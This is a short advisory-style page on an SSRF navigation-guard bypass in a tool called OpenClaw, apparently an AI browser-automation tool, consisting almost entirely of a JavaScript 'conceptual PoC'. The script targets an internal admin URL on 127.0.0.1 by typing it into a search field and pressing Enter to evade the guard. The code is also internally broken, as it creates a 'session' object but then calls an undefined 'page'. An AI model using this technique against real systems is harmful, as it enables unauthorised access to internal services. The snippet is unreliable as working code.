CVE-2026-43580 OpenClaw 导航守卫绕过漏洞

// Conceptual PoC for CVE-2026-43580 // This script demonstrates bypassing navigation guards using type/press interactions. const claw = require('openclaw'); async function exploit() { // Initialize session with low privileges const session = await claw.createSession(); // Target internal resource (normally blocked by SSRF policy) const targetUrl = 'http://127.0.0.1/admin/config'; // Standard navigation would be blocked here // await session.goto(targetUrl); // BLOCKED // Vulnerability: Using type/press interactions bypasses the SSRF check await page.goto('http://vulnerable-site.com/search'); // Simulate typing a malicious URL into a redirect mechanism or input field // This action triggers the navigation without the full guard await page.type('#search-input', targetUrl); await page.pressKey('Enter'); console.log('Navigation triggered, SSRF policy bypassed.'); } exploit();